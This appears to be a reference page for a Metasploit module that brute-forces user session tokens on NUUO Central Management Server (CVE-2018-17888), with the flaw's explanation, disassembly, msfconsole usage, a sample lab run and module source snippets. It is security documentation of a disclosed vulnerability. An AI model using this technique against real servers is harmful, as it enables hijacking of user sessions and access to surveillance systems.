Nuuo Central Management Server User Session Token Bruteforce - Metasploit


This page contains detailed information about how to use the auxiliary/gather/nuuo_cms_bruteforce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Nuuo Central Management Server User Session Token Bruteforce
Module: auxiliary/gather/nuuo_cms_bruteforce
Source code: modules/auxiliary/gather/nuuo_cms_bruteforce.rb
Disclosure date: 2018-10-11
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 5180
List of CVEs: CVE-2018-17888

Nuuo Central Management Server below version 2.4 has a flaw where it sends the heap address of the user object instead of a real session number when a user logs in. This can be used to reduce the keyspace for the session number from 10 million to 1.2 million, and with a bit of analysis it can be guessed in less than 500k tries. This module does exactly that - it uses a computed occurence table to try the most common combinations up to 1.2 million to try to guess a valid user session. This session number can then be used to achieve code execution or download files - see the other Nuuo CMS auxiliary and exploit modules. Note that for this to work a user has to be logged into the system.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/gather/nuuo_cms_bruteforce
msf auxiliary(nuuo_cms_bruteforce) > show targets
    ... a list of targets ...
msf auxiliary(nuuo_cms_bruteforce) > set TARGET target-id
msf auxiliary(nuuo_cms_bruteforce) > show options
    ... show and set options ...
msf auxiliary(nuuo_cms_bruteforce) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

Nuuo CMS Session Bruteforce

The NUUO CMS protocol uses session tokens in a similar way to HTTP cookies. As mentioned in the summary, if a USERLOGIN request is sent with a correct username and password, a "User-Session-No" token will be returned. The number returned is composed of 8 digits, so if an attacker wanted to guess it, they would have 10 million possibilities, and would be able to bruteforce it on average after 5 million tries.

The function responsible for creating a new user is at offset 0x454E80 in CMS_Server.exe version 2.1. It sets up a new user object and returns the session token to the calling function. This function has what is probably a coding error - the number returned is actually not a number, but the heap address of the user object created by invoking "new()" in the user object class. An assembly snippet is shown below:

.text:00454E80 000                 push    0FFFFFFFFh
.text:00454E82 004                 push    offset loc_5E2013
.text:00454E87 008                 mov     eax, large fs:0
.text:00454E8D 008                 push    eax
.text:00454E8E 00C                 sub     esp, 8    
.text:00454E91 014                 push    ebp
.text:00454E92 018                 push    esi
.text:00454E93 01C                 push    edi
.text:00454E94 020                 mov     eax, dword_68D134
.text:00454E99 020                 xor     eax, esp   
.text:00454E9B 020                 push    eax
.text:00454E9C 024                 lea     eax, [esp+24h+var_C]
.text:00454EA0 024                 mov     large fs:0, eax
.text:00454EA6 024                 mov     ebp, ecx
.text:00454EA8 024                 lea     edi, [ebp+43Ch] 
.text:00454EAE 024                 push    edi             ; lpCriticalSection_EnterCriticalSection
.text:00454EAF 028                 mov     [esp+28h+var_10], edi
.text:00454EB3 028                 call    ds:EnterCriticalSection
.text:00454EB9 024                 push    1B8h            ; unsigned int
.text:00454EBE 028                 mov     [esp+28h+var_4], 0
.text:00454EC6 028                 call    ??2@YAPAXI@Z    ; new() operator, returns object in eax
(...)

After the call to ??2@YAPAXI@Z in .text:00454EC6, the session number is returned to the calling function (sub_457100), which then stores it and sends it back to the client as the valid session number:

NUCM/1.0 200 OK
User-Valid: %d
Server-Version: %s
Ini-Version: %d
License-Number: %d
User-Session-No: %u <---- session number, which is a hexadecimal memory address converted to decimal

These session numbers (tokens) are not that easy to predict, however after collecting thousands of samples I was able to build a table of the most common occurrences, which reduces the possibilities from 10 million to about 1.2 million. In practice, the tokens can usually be guessed between in less than 500,000 attempts - an improvement of 95% over standard bruteforcing. It is likely this can be further improved with some deeper analysis, but due to time constraints this was not investigated further. The tables used to do the bruteforcing are in Appendix #C.

This attack is perfectly feasible despite the high number of attempts needed. Firstly, there is no bruteforce protection on the CMS server, so we can just flood it with requests and find the session number in less than an hour. Secondly, due to the nature of this application, it is normal to have the software clients logged in for a long amount of time (days, weeks) in order to monitor the video cameras controlled by CMS.

It is worth noticing that when a user logs in, the session has to be maintained by periodically sending a PING request. To bruteforce the session, we send each guess with a PING request until a 200 OK message is received.

NUUO Central Management Server (CMS): all versions below 2.4.0

  • 1.5.2 OK
  • 2.1.0 OK
  • 2.3.0 OK

Scenarios

Tested on Windows 10 Pro x64 running NCS Server v2.1.0

msf5 auxiliary(gather/nuuo_cms_bruteforce) > set rhosts 172.22.222.200
rhosts => 172.22.222.200
msf5 auxiliary(gather/nuuo_cms_bruteforce) > exploit

[*] 172.22.222.200:5180 - Bruteforcing session - this might take a while, go get some coffee!
[*] 172.22.222.200:5180 - Generating 2621440 session tokens
[+] 172.22.222.200:5180 - Found valid user session: 42094216
[*] 172.22.222.200:5180 - Time taken: 1384.588721601991 seconds; total tries 590893
[*] Auxiliary module execution completed
msf5 auxiliary(gather/nuuo_cms_bruteforce) >

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Msfconsole Usage

Here is how the gather/nuuo_cms_bruteforce auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/nuuo_cms_bruteforce

msf6 auxiliary(gather/nuuo_cms_bruteforce) > show info

       Name: Nuuo Central Management Server User Session Token Bruteforce
     Module: auxiliary/gather/nuuo_cms_bruteforce
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-10-11

Provided by:
  Pedro Ribeiro <[email protected]>

Check supported:
  No

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  NCSPASS                      no        Password for NCSUSER
  NCSSESSION                   no        Session number of logged in user
  NCSUSER     admin            no        NUUO Central Management System username
  RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT       5180             yes       The target port

Description:
  Nuuo Central Management Server below version 2.4 has a flaw where it 
  sends the heap address of the user object instead of a real session 
  number when a user logs in. This can be used to reduce the keyspace 
  for the session number from 10 million to 1.2 million, and with a 
  bit of analysis it can be guessed in less than 500k tries. This 
  module does exactly that - it uses a computed occurence table to try 
  the most common combinations up to 1.2 million to try to guess a 
  valid user session. This session number can then be used to achieve 
  code execution or download files - see the other Nuuo CMS auxiliary 
  and exploit modules. Note that for this to work a user has to be 
  logged into the system.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-17888
  https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
  https://seclists.org/fulldisclosure/2019/Jan/51
  https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt

Module Options

This is a complete list of options available in the gather/nuuo_cms_bruteforce auxiliary module:

msf6 auxiliary(gather/nuuo_cms_bruteforce) > show options

Module options (auxiliary/gather/nuuo_cms_bruteforce):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   NCSPASS                      no        Password for NCSUSER
   NCSSESSION                   no        Session number of logged in user
   NCSUSER     admin            no        NUUO Central Management System username
   RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT       5180             yes       The target port

Advanced Options

Here is a complete list of advanced options supported by the gather/nuuo_cms_bruteforce auxiliary module:

msf6 auxiliary(gather/nuuo_cms_bruteforce) > show advanced

Module advanced options (auxiliary/gather/nuuo_cms_bruteforce):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   NCSBRUTEAPI  false            no        Bruteforce Version header used during login
   NCSTRACE     false            no        Show NCS requests and responses
   NCSVERSION                    no        Version header used during login
   VERBOSE      false            no        Enable detailed status messages
   WORKSPACE                     no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the gather/nuuo_cms_bruteforce module can do:

msf6 auxiliary(gather/nuuo_cms_bruteforce) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the gather/nuuo_cms_bruteforce auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/nuuo_cms_bruteforce) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to bruteforce, trying with the less likely numbers as a last resort...

Here is a relevant code snippet related to the "Failed to bruteforce, trying with the less likely numbers as a last resort..." error message:

142:	    print_status('Bruteforcing session - this might take a while, go get some coffee!')
143:	    session = nil
144:	    time = Benchmark.realtime {
145:	      session = session_bruteforce_list(WEIGHTED_ARRAY_7)
146:	      unless session
147:	        print_error('Failed to bruteforce, trying with the less likely numbers as a last resort...')
148:	        session = session_bruteforce_list(WEIGHTED_ARRAY_6)
149:	      end
150:	    }
151:	    unless session
152:	      fail_with(Failure::Unknown, 'Failed to bruteforce user session.')

Failed to bruteforce user session.

Here is a relevant code snippet related to the "Failed to bruteforce user session." error message:

147:	        print_error('Failed to bruteforce, trying with the less likely numbers as a last resort...')
148:	        session = session_bruteforce_list(WEIGHTED_ARRAY_6)
149:	      end
150:	    }
151:	    unless session
152:	      fail_with(Failure::Unknown, 'Failed to bruteforce user session.')
153:	    else
154:	      print_good("Found valid user session: #{session}")
155:	      print_status("Time taken: #{time} seconds; total tries #{@counter}")
156:	    end
157:	  end

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References

See Also

Check also the following modules related to this module:

Authors

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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